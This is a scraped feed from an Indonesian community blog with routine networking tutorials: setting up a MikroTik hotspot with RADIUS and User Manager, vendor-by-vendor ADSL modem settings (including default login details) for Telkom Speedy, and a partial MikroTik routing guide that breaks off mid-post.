tag:blogger.com,1999:blog-84257750133103311762024-03-14T07:14:15.601-07:00blog cendana comunityblog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.comBlogger13125tag:blogger.com,1999:blog-8425775013310331176.post-78293579721858299042010-07-20T18:11:00.000-07:002010-07-20T18:13:04.358-07:00<h2 id="post-1243"><a href="http://blog.becouz.net/setting-hotspot-dengan-server-mikrotik.html" rel="bookmark" title="Permanent Link: Tips Setting Hotspot dengan Server Mikrotik">Tips Setting Hotspot dengan Server Mikrotik</a></h2> <p><img class="alignleft" src="http://tbn1.google.com/images?q=tbn:JfpJa3LgL-gwmM:http://i9.photobucket.com/albums/a98/Akangage/doshite.jpg" alt="" width="140" height="142" /></p> <p><strong>Konfigurasi Server Radius<br /></strong>§ Masuk ke Winbox pada computer client<br />§ Pada winbox klik menu Radius, lalu muncul kotak dialog Konfigurasi Radius. Klik tombol + yang berwarna merah untuk masuk ke tahapan pembuatan server radius.<br />§ Setelah itu muncul kotak dialog New radius Server. Karena kita akan membuat server hotspot, beritanda ü pada hotspot. Lalu pada Address isikan 127.0.0.1, setelah itu pada secret isikan password server radius yang di ingin kan. Missal secretnya: apaajah. Klik OK untuk membuat server tersebut.<br /><span id="more-1243"></span><br /><strong>Membuat Profile Hostpot yang menggunakan server Radius</strong>.<br />§ Pada WinBox Klik menu IP lalu klik Hotspot.<br />§ Lalu muncul kotak dialog Konfigurasi hotspot. Sekarang kita akan membuat profiles baru untuk hostpot yang mendukung server radius. Klik tombol profiles pada kotak diagog konfigurasi hotspot.<br />§ Muncul kotak dialog Hotspot server profile, klik tombol + untuk membuat profiles baru.<br />§ Setelah itu muncul kotak dialog New Hotspot Server Profile. Pada name isikan nama profilenya, isikan hsprof1. Setelah itu klik tab RADIUS.<br />§ Beri tanda ü pada Use RADIUS, lalu klik OK.</p> <p><strong>Konfigurasi Hotspot<br /></strong>- Klik menu IP lalu klik Hotspot<br />- Lalu muncul kotak dialog Hotspot, setelah itu tekan tombol Setup.<br />- Muncul kotak dialog Hotspot Setup, disini kita di suruh menentukan pada interface mana hotspot akan berjalan. Pilihlah interface hotspot karena kita akan mengaktifkan hotspot pada interface tersebut. Klik tombol Next.<br />- Selanjutnya kita set IP untuk interface hotspot tersebut, isikan 192.168.0.1/24. Beri tanda ü pada Masquerade Network. Lalu Klik tombol Next.<br />- Setelah itu muncul konfigurasi address pool. Pada tahap ini kita di suruh menentukan dari IP berapa dan sampai IP berapa yang akan di gunakan untuk hotspot. Missal kita akan seting 192.168.0.2192.168.0.254/24. Jadi smua IP pada network 192.168.0.0/24 selain 192.168.0.1 termasuk kedalam IP yang menggunakan hotspot. lalu Klik Next.<br />- Selanjutnya muncul konfigurasi SSL, karena kita tidak menggunakan SSL, pada select Certificate pilih aja none lalu klik Next.<br />- Setelah itu konfigurasi IP SMTP Server jika anda memiliki SMTP server masukan saja IP SMTP server anda, dan jika anda tidak punya, langsung Next saja.<br />- Selanjutnya konfigurasi DNS, karena kita sudah mengkonfigurasi DNS di awal tadi, maka langsung Next aja, tetapi jika anda ingin merubah IP DNSnya, langsung rubah aja setelah itu klik tombol next.<br />- Setelah itu seting DNS Name, kosongkan aja lalu tekan tombol next.<br />- Selanjutnya tahap membuat user hotspot. Karena nanti hotspot kita menggukan profile yang menggunakan radius server sebagai backendnya, maka user ini tidak terlalu berguna. Karena ini termasuk kedalam tahap installasi, maka kita buat saja usernya. Missal qta buat usernya admin dan passwordnya gktw. Lalu klik next.<br />- Setup hotspot selesai..<br />- Agar hotspot yang kita buat menggunakan profile hotspot yg mendukung radius server. Maksud dari profile ini adalah profile hotspot yang kita buat di atas.<br />- Double klik pada hotspot1, setelah itu muncul kotak dialog properties hotspot1. Pada menu dropdown profile, pilih hsprof. Lalu klik OK.<br />- Selanjutnya kita tentukan IP yang akan dijadikan computer operator. Maksud dari computer operator disini adalah computer yang akan menambah, mengedit bahkan menghapus user client hotspot.<br />- Pada Winbox, klik menu IP lalu klik Hotspot. Muncul kotak dialog Hotspot, lalu klik tab IP Bindings. Lalu klik tombol + .<br />- Muncul kotak dialog New Hotspot IP Binding, pada MAC Address isikan Alamat MAC Address computer operator missal MAC address computer operator 00:50:56:C0:00:01. Lalu pada Address, masukan IP computer operator missal IP computer operator adalah 192.168.0.2. setelah itu pada Type pilih bypassed. Lalu klik OK.</p> <p><strong>Konfigurasi User Manager di <a href="http://blog.becouz.net/cara-mudah-bin-simple-setting-mikrotik.html" target="_blank">Mikrotik</a><br /></strong>§ Pada WinBox, Klik menu New Terminal, untuk membuka terminal/console mikrotik.<br />§ Pada terminal, ketikan perintah berikut:<br />[admin@MikroTik] > /tool user-manager customer add login=admin password=adminuserman permission=owner<br />Maksud dari perintah di atas adalah membuat user admin dengan passwordnya adminuserman yang nantinya user ini akan digunakan untuk masuk ke usermanager.<br />[admin@MikroTik] > /tool user-manager router add subscriber=admin ip-address=127<br />.0.0.1 shared-secret=apaajah<br />Maksud dari perintah di atas adalah untuk menghubungkan usermanager ke server radius yang telah kita buat tadi. Pada perintah tersebuat ada shared-secret=apaajah, apaajah adalah password dari server radius.<br />§ Selanjutnya anda pindah ke computer operator, lalu arahkan browser ke http://192.168.0.1/userman . Lalu muncul form login, isi Login dan password di sesuaikan dengan login dan password yang telah anda buat pada saat konfigurasi usermanager diatas. Missal, login: admin dan password:adminuserman.<br />§ Tampilan pertama User Manager<br />- Untuk menambahkan user hotspot, klik menu Users, lalu klik Add.<br />- Setelah itu muncul kotak dialog Add User, yang penting perlu di isi adalah User name dan password saja. Tetapi jika ingin mengisi First Name dan Lastname isi saja. Dan jika anda ingin membatasi bandwith untuk user tersebut, pada Rate Limit isikan jumlah bandwith yang di jatahkan untuk user tersebut, misal 32kbps.</p> <p><strong>Mengatur Bandwith Klien Hotspot<br /></strong>§ Pengaturan Bandwith klien ini berlaku untuk semua user yang pada userman yg tidak diberi Rate limit.<br />Harus kosong, kalau bandwith user mau di atur secara menyeluruh.<br />§ Untuk mengatur Bandwith semua user, buka Winbox, lalu klik menu IP, lalu hotspot. Muncul kotak dialog hotspot, klik tab user. Lalu klik tombol profiles.<br />§ Muncul kotak dialog Hotspot User Profile, double klik pada profile default.<br />§ Habis itu muncul kotak dialog Hotspot user profile properties. Pada field Rate Limit (tx/rx) isikan berapa bandwith yang akan di berikan kepada semua user hotspot. Misal: Limit Bandwith Upload: 64kbps dan Limit Bandwith Download: 128kbps.</p> <p><strong>Selesai<br /></strong>Maka akan muncul nama-nama pengguna yang sedang aktif, jika anda ingin melihat trafik pemakaiannya, tinggal klik aja nama usernya.<br />Saatnya ujicoba dari computer client, jika muncul halaman login. Masukan username dan password yang kita buat pada usermanager.</p> <a style="background-color: rgb(255, 255, 255); border-color: rgb(204, 204, 204);" class="ow_button_border" href="http://blog.becouz.net/setting-hotspot-dengan-server-mikrotik.html#"><span style="background-color: rgb(0, 149, 200); margin: 0px;" class="ow_logo"><img src="http://onlywire.com/images/onlywire_logo_small.png" class="ow_logo_img" /></span><span style="color: rgb(0, 0, 0); font-size: 12px; font-family: Arial,Helvetica,sans-serif;" class="ow_text">Bookmark & Share</span></a><script type="text/javascript" class="owbutton" src="http://www.onlywire.com/btn/button_2543" title="Tips Setting Hotspot dengan Server Mikrotik" url="http://blog.becouz.net/setting-hotspot-dengan-server-mikrotik.html"></script> <p>Related posts:</p><ol><li><a href="http://blog.becouz.net/membuat-hotspot-dengan-mikrotik.html" rel="bookmark" title="Permanent Link: Tips Membuat Hotspot dengan Mikrotik">Tips Membuat Hotspot dengan Mikrotik</a></li><li><a href="http://blog.becouz.net/tips-setting-trunk-di-server-freepbx.html" rel="bookmark" title="Permanent Link: Tips Setting Trunk di Server FreePBX">Tips Setting Trunk di Server FreePBX</a></li><li><a href="http://blog.becouz.net/cara-mudah-bin-simple-setting-mikrotik.html" rel="bookmark" title="Permanent Link: Cara Mudah bin Simple Setting Mikrotik">Cara Mudah bin Simple Setting Mikrotik</a></li><li><a href="http://blog.becouz.net/tips-cara-install-ltsp-server-di-ubuntu-9-04-desktop.html" rel="bookmark" title="Permanent Link: Tips Cara Install LTSP Server di Ubuntu 9.04 Desktop">Tips Cara Install LTSP Server di Ubuntu 9.04 Desktop</a></li><li><a href="http://blog.becouz.net/setting-router-linksys-wrt54g-dengan-dyndns.html" rel="bookmark" title="Permanent Link: Tips Setting Router LinkSys WRT54G dengan DynDNS">Tips Setting Router LinkSys WRT54G dengan DynDNS</a></li></ol><a href="http://google">google</a>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-17609055781832655022010-05-09T18:17:00.000-07:002010-05-16T23:02:12.216-07:00efault IP: 192.168.2.1<br />Default password: smcadmin<br /><br />Setting Bridge:<br /><br /> 1. Klik WAN<br /> 2. Clik ATM PVC<br /> 3. Klik VCI<br /> 4. Protocol: 1483 Bridging, VLAN: Default, VPI/VCI: 8/81, Encapsulation: LLC, Qos Class: UBR, PCR/SCR/MBS: 4000/4000/10<br /> 5. Klik Save Settings<br /><br /><br /><br />SMC<br /><br /><br /><br />Setting PPPoE:<br /><br /> 1. Klik WAN<br /> 2. Klik ATM PVC<br /> 3. Klik VCI<br /> 4. Protocol: PPPoE, VPI/VCI: 8/81, Encapsulation: LLC, QoS Class: UBR, PCR/SCR/MBS: 4000/4000/10, IP assigned by ISP: Yes, IP Address: 0.0.0.0, Subnet Mask: 0.0.0.0, Connect Type: Always Connected, Idle Time (Minute): 5, Username: nmrspeedy@telkom.net, Password: (password dari telkom), Confirm Password: , MTU: 1492<br /> 5. Save Settings<br /><br /><br />Adsl Modem ZyXeL<br /><br />P-660R<br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: 1234<br /><br />Setting Bridge<br /><br /> 1. Pilih Network<br /> 2. Pilih WAN<br /> 3. Mode: Bridge, Encapsulation: RFC 1483, Multiplexing: LLC, VPI: 8, VCI: 81, Apply<br /> 4. Pilih Maintenance<br /> 5. Pilih Tools<br /> 6. Restart<br /><br /><br /><br />Setting PPPoE<br /><br /> 1. Pilih Network<br /> 2. Pilih WAN<br /> 3. Mode: Routing, Encapsulation: PPPoE, Username: ( nmrspeedy@telkom.net), Password: (password speedy), Service Name: Speedy, Multiplexing: LLC, VPI: 8, VCI: 81, IP Address: Obtain an IP Address Automatically, Connection: Nailed-Up Connnection, Apply<br /> 4. Klik Maintenance<br /> 5. Klik Tools<br /> 6. Restart<br /><br /><br /><br />Adsl Modem Shiro<br /><br /><br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Advanced<br /> 2. Klik WAN<br /> 3. Klik New Connection<br /> 4. Connection Name: Speedy, Type: Bridge, VPI: 8, VCI: 81, and Submit<br /> 5. Save Settings<br /> 6. Restart Router<br /><br /><br /><br />shiro<br /><br /><br /><br />Setting PPPoE:<br /><br /> 1. Pilih Advanced<br /> 2. Pilih WAN<br /> 3. Klik New Connection<br /> 4. Connection Name: Speedy, Type: PPPoE, Sharing: Enable, Encapsulation: LLC, Username: nmrspeedy@telkom.net, Password: (password dari telkom), VPI: 8, VCI: 81, and Submit<br /> 5. Save Settings<br /> 6. Restart Router<br /><br /><br /><br />shiro pppoe<br /><br /><br /><br />Adsl Modem Aztech<br /><br /><br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Advanced<br /> 2. Klik WAN<br /> 3. Klik New Connection<br /> 4. Connection Name: Speedy, Type: Bridge, VPI: 8, VCI: 81, and Submit.<br /> 5. Save Settings<br /> 6. Restart Router<br /><br /><br /><br />Setting PPPoE/Router:<br /><br /> 1. Klik Advanced<br /> 2. Klik WAN<br /> 3. Klik New Connection<br /> 4. Connection Name: Speedy, Type: PPPoE, Sharing: Enable, Encapsulation: LLC, Username: nmrspeedy@telkom.net, Password: (password dari telkom), VPI: 8, VCI: 81, and Submit.<br /> 5. Save Settings<br /> 6. Restart Router<br /><br /><br /><br />Adsl Modem TECOM<br /><br />AR1031<br /><br />Default ip: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type Bridging, Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Cheklist Enable Bridge Service, Service Name: Speedy, Next<br /> 7. WAN Setup - Summary, Save<br /> 8. Save/Reboot<br /><br /><br /><br />tecom<br /><br /><br /><br />Setting PPPoE:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type PPP over Ethernet (PPPoE), Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Put your PPP Username: nmrspeedy@telkom.net; PPP Password: (password dari telkom); PPPoE Service Name: Speedy, Next<br /> 7. Cheklist Enable WAN Service, Service Name: Speedy, Next<br /> 8. WAN Setup - Summary, Save<br /> 9. Save/Reboot<br /><br /><br /><br />tecom pppoe<br /><br /><br /><br />Adsl Modem Billion<br /><br /><br /><br />Setting:<br /><br /> 1. Login To: http://192.168.1.254<br /> 2. User name = admin; Password = password dari telkom<br /> 3. Klik -> OK<br /> 4. Klik: Quick Start<br /> 5. Edit Connection:<br /> Encapsulation = PPPoE LLC<br /> Bridge = Enabled<br /> Setting VPI = 8 dan VCI = 81 , and Than<br /> Static IP Setting<br /> IP Address = 0.0.0.0<br /> subnet mask = 0.0.0.0<br /> Gateway = 0.0.0.0<br /> 6. Klik: - Submit<br /> - SAVE CONFIG<br /> 7. Klik: Submit<br /> 8. Wait Till process Configuration done !<br /> 9. Configuration Done !<br /><br /><br /><br />Modem Prolink<br /><br /><br /><br /> 1. Login To -> http:// 10.0.0.2<br /> User Name: admin<br /> Password: password<br /> Klik . . . . OK<br /> 2. Chose Configurasi WAN:<br /> 3. Select Adapter: Pilih Pvc3 (Indonesia)<br /> 4. Edit Field:<br /> Bridge = Enable<br /> Encapsulation = 1483 Bridge IP LLC<br /> ATM VPI = 8<br /> ATM VCI = 81<br /><br /> prolink<br /><br /> 5. Static IP Setting: “ just blank “<br /> IP Address = just empty<br /> Subnet Mask = just empty<br /> Gateway = just empty<br /> User Name = username@telkom.com. . . . . . ( optional ) *<br /> Password = xxxxxxxx . . . . . . . . . . . . . . . . . . .( optional ) *<br /> * If you choose to put username & password there just double clik explorer<br /> * If you not choose to put username & password there you have to create new connection at Network Connection<br /> 6. Create New Connection (Bridge) See here..>><br /> 7. Than Next:<br /> 8. * Klik Submit<br /> 9. * Klik Save Configuration<br />10. Next: Save Reboot ….<br /><br /><br /><br />Adsl Modem D-Link<br /><br />DSL-302T<br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Setup<br /> 2. Klik Connection<br /> 3. Bridge Connection Setup. Name: Speedy; Type: Bridge; Encapsulation: LLC; VPI=8; VCI=81, Apply<br /> 4. Klik Tools<br /> 5. Klik System Commands, Save All, Restart<br /><br /><br /><br />d-link<br /><br /><br /><br />Setting PPPoE/Router:<br /><br /> 1. Klik Setup<br /> 2. Klik Connection<br /> 3. Bridge Connection Setup. Name: Speedy; Type: PPPoE; Username: nmrspeedy@telkom.net; Password: (password dari telkom); VPI=8; VCI=81, Apply<br /> 4. Klik Tools<br /> 5. Klik System Commands. Save All, Restart<br /><br /><br /><br />d-link2<br /><br /><br /><br />adsl Modem Repotec<br /><br /><br /><br /> 1. Buka Internet Explorer ketik: http://192.168.1.1<br /> 2. Username: admin & Password: epicrouter<br /> 3. Klik: OK<br /> 4. Klik WAN<br /> 5. Pic Adapter: Pvc0<br /> 6. Klik Submit<br /> 7. Virtual Circuit = Enabled<br /> 8. Bridge & IGMP = Disable<br /> 9. Each region was different from another region and for Bandung vpi:8 , vci: 81<br />10. Service Category = UBR without PCR<br />11. Protocol/Conection type = PPPoE<br />12. Encapsulation = LLC/Snap-Bridging<br />13. Put Username & Password from your provider<br />14. Klik Submit.<br />15. Klik Save Configuration (wait till Saving configuration done.)<br />16. put DNS: 202.134.0.155 & 202.134.2.5<br /><br /><br /><br />Adsl Modem Dareglobal<br /><br /><br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Find VPI/VCI: 8/81, Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type Bridging, Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Cheklist Enable Bridge Service, Service Name: Speedy, Next<br /> 7. WAN Setup - Summary, Save<br /> 8. Save/Reboot<br /><br /><br /><br />Setting PPPoE:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Cari VPI/VCI: 8/81, Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type PPP over Ethernet (PPPoE), Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Put your PPP Username: Nomorspeedy@telkom.net; PPP Password: (password dari telkom); PPPoE Service Name: Speedy, Next<br /> 7. Centang Enable WAN Service, Service Name: Speedy, Next<br /> 8. WAN Setup - Summary, Save<br /> 9. Save/Reboot<br /><br /><br /><br />Adsl Modem TP-Link<br /><br /><br /><br />Default IP: 192.168.1.1<br />Default username: admin<br />Default password: admin<br /><br />Setting Bridge:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Find VPI/VCI: 8/81, Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type Bridging, Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Cheklist Enable Bridge Service, Service Name: Speedy, Next<br /> 7. WAN Setup - Summary, Save<br /> 8. Save/Reboot<br /><br /><br /><br />dareglobal<br /><br /><br /><br />Setting PPPoE:<br /><br /> 1. Klik Advanced Setup<br /> 2. Klik WAN<br /> 3. Find VPI/VCI: 8/81, Klik Edit<br /> 4. ATM PVC Configuration, VPI=8; VCI=81, Service Category: UBR Without PCR, Next<br /> 5. Connection Type PPP over Ethernet (PPPoE), Encapsulation Mode LLC/SNAP-BRIDGING, Next<br /> 6. Put your PPP Username: nmrspeedy@telkom.net; PPP Password: (password dari telkom); PPPoE Service Name: Speedy, Next<br /> 7. Cheklist Enable WAN Service, Service Name: Speedy, Next<br /> 8. WAN Setup - Summary, Save<br /> 9. Save/Reboot<br /><br /><br /><br />Setting Modem Articonet ACN-100R dan ACN-110<br /><br /><br /><br />Cara melakukan setting di komputer untuk akses ke modem Articonet.<br />Untuk setting di komputer dilakukan sesuai dengan operating system yang dipakai di komputer pelanggan, disini yang dibahas khusus untuk Windows XP.<br />Lakukan network setting di PC (komputer) sbb:<br /><br />a. Start – Control Panel – Network Connection<br />b. arahkan kursor pada Local Area Connection yang aktif, kemudian klik kanan dan pilih properties<br />c. kemudian pilih menu Internet Protocol (TCP/IP) dan klik 2X, maka akan muncul menu General.<br />d. Pilih Obtain an IP Address Automatically kemudian pilih Obtain DNS server address automatically, kemudian tekan tombol OK.<br /><br />Panduan cara setting modem ADSL Speedy koneksi PPPoE.(PPPoE)<br />Setting modem dilakukan melalui browser dengan mengakses alamat http://192.168.1.1<br />Masukkan username dan password: admin/admin<br />Setelah masuk ke menu setting lakukan langkah berikut:<br />Masuk ke menu "Advanced Setup" kemudian pilih "WAN" dan klik tombol "Edit" disebelah kanan tabel WAN Masukkan nilai PVC Configuration: (masukkan nilainya sesuai wilayah TELKOM masing-masing daerah)<br />VPI = X<br />VCI = XX<br />Service Category = UBR Without PCR, kemudian klik tombol Next<br />Connection type = PPPoE<br />Encapsulation = LLC, kemudian klik tombol Next<br />Masukkan username dan password Speedy, kemudian klik tombol Next<br />Tandai atau kasih v untuk pilihan "Enable WAN Service", kemudian klik Next dan klik tombol Save<br />Setting PPPoE untuk koneksi Speedy telah selesai dilakukan<br />Selanjutnya klik tombol Save/Reboot<br />(Modem akan reboot -/+1 menit dan tunggu sampai modem normal kembali)<br /><br />Berikut langkah setting modem ADSL Articonet untuk Dial-Up/Bridge.<br />Setting modem dilakukan melalui browser dengan mengakses alamat http://192.168.1.1<br />Masukkan username dan password: admin/admin<br />Setelah masuk ke menu setting lakukan langkah berikut:<br />Masuk ke menu "Advanced Setup" kemudian pilih "WAN" dan klik tombol "Edit" Masukkan nilai PVC Configuration: (masukkan nilainya sesuai wilayah TELKOM masing-masing daerah)<br />VPI = X<br />VCI = XX<br />Service Category = UBR Without PCR, kemudian klik tombol Next<br />Connection type = Bridging<br />Encapsulation = LLC, kemudian klik tombol Next<br />Tandai atau kasih v untuk pilihan "Enable Bridge Service", kemudian klik Next dan klik tombol Save<br />Setting Bridge untuk koneksi Speedy telah selesai dilakukan<br />Selanjutnya klik tombol Save/Reboot<br />(Modem akan reboot -/+1 menit dan tunggu sampai modem normal kembali)<br /><br />Setting modem Articonet untuk koneksi Bridging sudah selesai, langkah berikutnya setting koneksi Dial-Up di PC/komputer.<br /><br /><br /><br />Panduan instalasi Dial Up koneksi ADSL menggunakan Windows 2000:<br /><br /> 1. Klik Start, klik Setting,klik Control Panel,<br /> 2. Klik Network and Dial Up Connections.<br /> 3. Klik Make New Connection, klik Next,<br /> 4. Klik Dial Up to the Internet<br /> 5. Klik I want to setup my internet manually, klik Next<br /> 6. Klik I connect through a phone line and a modem klik Next<br /> 7. Pilih dan klik modem ADSL yang sesuai<br /> 8. Isi username:15xxxxxxxxxx@telkom.net<br /> 9. Password: xxxxxxxx<br />10. Klik OK dan Lanjutkan sesuai perintah yang muncul<br />11. Klik Finish<br /><br /><br /><br />Panduan installasi Dial Up koneksi ADSL menggunakan Windows Xp:<br /><br /> 1. Klik Start, klik Setting, klik Control Panel.<br /> 2. Klik Network Connection<br /> 3. Klik Create a New Connection, klik Next.<br /> 4. Klik Connect to the Internet, klik Next<br /> 5. Klik Setup my connection manually, klik Next<br /> 6. Klik Connect Using Dial Up, klik Next<br /> 7. Klik modem ADSL yang sesuai, klik Next<br /> 8. Isi username: 15xxxxxxxxxx@telkom.net dan Password: *******<br /> 9. Confirm password: xxxxxxxx<br />10. kemudian beri tanda v pada pilihan "Add a shortcut to the desktop screen"<br />11. Klik Finish<br />sumber : <a href="http://google/">google</a>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-51790337418870078012010-04-29T19:48:00.000-07:002010-04-29T19:52:58.662-07:00insatalasi mikrotik <meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"> <title></title> <meta name="GENERATOR" content="OpenOffice.org 3.0 (Linux)"> <style type="text/css"> <!-- @page { margin: 2cm } P { margin-bottom: 0.21cm } A:link { so-language: zxx } --> </style> <p style="margin-bottom: 0cm;"><a href="http://ardian-anr.blogspot.com/2009/01/network-address-translation-nat.html#links">Links to this post</a> </p> <p style="margin-bottom: 0cm;"><a name="2505327148828077435"></a><a href="http://ardian-anr.blogspot.com/2009/01/setting-mikrotik-router-bagian-kedua.html">Setting Mikrotik Router Bagian Kedua</a> </p> <p style="margin-bottom: 0cm;">3:54 PM | Author: Ardian </p> <p style="margin-bottom: 0cm;"><a name="BLOGGER_PHOTO_ID_5291071106803284594"></a><a name="BLOGGER_PHOTO_ID_5291071427107916786"></a><a name="BLOGGER_PHOTO_ID_5291071975956297458"></a><a name="BLOGGER_PHOTO_ID_5291072636662902050"></a><a name="BLOGGER_PHOTO_ID_5291073009184489330"></a><a name="BLOGGER_PHOTO_ID_5291074302232617490"></a><a name="BLOGGER_PHOTO_ID_5291074539085184882"></a><a name="BLOGGER_PHOTO_ID_5291074887269851858"></a><a name="BLOGGER_PHOTO_ID_5291075431660809202"></a> <b>Setting IP Address, Gateway & Name server</b>
<br />1. IP Address
<br />Bentuk perintah konfigurasi
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2pI2pXunI/AAAAAAAAADA/aILZt7rRrzU/s1600-h/mikrotik10.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2pI2pXunI/AAAAAAAAADA/aILZt7rRrzU/s400/mikrotik10.jpg" name="graphics1" vspace="5" width="400" align="bottom" border="0" height="82" /></a>
<br />
<br />Contoh konfigurasi :
<br />
<br /><a href="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2pbf38i_I/AAAAAAAAADI/7koz6lk2l7I/s1600-h/mikrotik11.jpg"><img src="http://1.bp.blogspot.com/_VpmHHM8OhqI/SW2pbf38i_I/AAAAAAAAADI/7koz6lk2l7I/s400/mikrotik11.jpg" name="graphics2" vspace="5" width="400" align="bottom" border="0" height="128" /></a>
<br />
<br />Perintah ip address print adalah untuk melihat hasil dari konfigurasi.
<br />
<br />2. Gateway
<br />Bentuk perintah konfigurasi :
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2p7cfmNvI/AAAAAAAAADQ/3M2pX8XN-3w/s1600-h/mikrotik12.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2p7cfmNvI/AAAAAAAAADQ/3M2pX8XN-3w/s400/mikrotik12.jpg" name="graphics3" vspace="5" width="400" align="bottom" border="0" height="47" /></a>
<br />
<br />Perintah ip route print adalah untuk melihat routing table.
<br />
<br />3. Name Server
<br />Bentuk perintah konfigurasi :
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2qh50U7SI/AAAAAAAAADg/lt0wBONeTKM/s1600-h/mikrotik14.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2qh50U7SI/AAAAAAAAADg/lt0wBONeTKM/s400/mikrotik14.jpg" name="graphics4" vspace="5" width="400" align="bottom" border="0" height="64" /></a>
<br />
<br />Contoh konfigurasi :
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2q3lkZP3I/AAAAAAAAADo/o5m8y5YS1og/s1600-h/mikrotik15.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2q3lkZP3I/AAAAAAAAADo/o5m8y5YS1og/s400/mikrotik15.jpg" name="graphics5" vspace="5" width="400" align="bottom" border="0" height="110" /></a>
<br />
<br />Perintah ip dns print adalah untuk melihat hasil dari konfigurasi dns.
<br />
<br /><b>Setting Routing</b>
<br />
<br />Router adalah sebuah device yang berfungsi untuk meneruskan paket-paket dari sebuah network ke network yang lainnya baik LAN ke LAN atau ke WAN sehingga host-host yang ada pada sebuah network bisa berkomunikasi dengan host-host yang ada pada network yang lain.
<br />
<br />Tujuan dari routing adalah agar paket IP kita dikirim sampai pada target, begitu juga paket IP yang ditujukan untuk kita sampai dengan baik. Target atau destination ini bisa berada dalam 1 jaringan atau pun berbeda jaringan baik secara topologis maupun geografis.
<br />
<br />a. Routing static
<br />Bentuk Perintah konfigurasi :
<br />
<br /><a href="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2sC2jF4hI/AAAAAAAAADw/PHOvsi9PzpI/s1600-h/mikrotik16.jpg"><img src="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2sC2jF4hI/AAAAAAAAADw/PHOvsi9PzpI/s400/mikrotik16.jpg" name="graphics6" vspace="5" width="400" align="bottom" border="0" height="53" /></a>
<br />
<br />Contoh konfigurasi :
<br />
<br /><a href="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2sQo5JP3I/AAAAAAAAAD4/wQENcKcrYKs/s1600-h/mikrotik17.jpg"><img src="http://3.bp.blogspot.com/_VpmHHM8OhqI/SW2sQo5JP3I/AAAAAAAAAD4/wQENcKcrYKs/s400/mikrotik17.jpg" name="graphics7" vspace="5" width="400" align="bottom" border="0" height="92" /></a>
<br />
<br />Artinya tujuan network 192.168.0.0/24 lewat gateway 172.99.77.2
<br />
<br /><a href="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2sk5-1otI/AAAAAAAAAEA/G-lG9VD66-k/s1600-h/mikrotik18.jpg"><img src="http://4.bp.blogspot.com/_VpmHHM8OhqI/SW2sk5-1otI/AAAAAAAAAEA/G-lG9VD66-k/s400/mikrotik18.jpg" name="graphics8" vspace="5" width="400" align="bottom" border="0" height="86" /></a>
<br />
<br />
<br />Artinya tujuan host 202.10.56.2 lewat gateway 203.33.45.6
<br />
<br />b. Routing untuk 2 isp
<br />Routing untuk 2 isp atau lebih ini bisa kita analogikan ketika kita dihadapkan pada masalah memakai 2 atau lebih koneksi, salah satu permasalahannya juga adalah apabila isp pertama memberikan banwidth yang berbeda dengan isp yang kedua, hal ini bisa kita lakukan dengan mikrotik yaitu dengan membagi atau balance paket data ( Static Equal Cost Multi-Path Routing ) .
<br />
<br />Contoh perintah konfigurasi :
<br />
<br /><a href="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2tEl_wa_I/AAAAAAAAAEI/hfbbUx34b6A/s1600-h/mikrotik19.jpg"><img src="http://2.bp.blogspot.com/_VpmHHM8OhqI/SW2tEl_wa_I/AAAAAAAAAEI/hfbbUx34b6A/s400/mikrotik19.jpg" name="graphics9" vspace="5" width="400" align="bottom" border="0" height="47" /></a>
<br />
<br />Note :
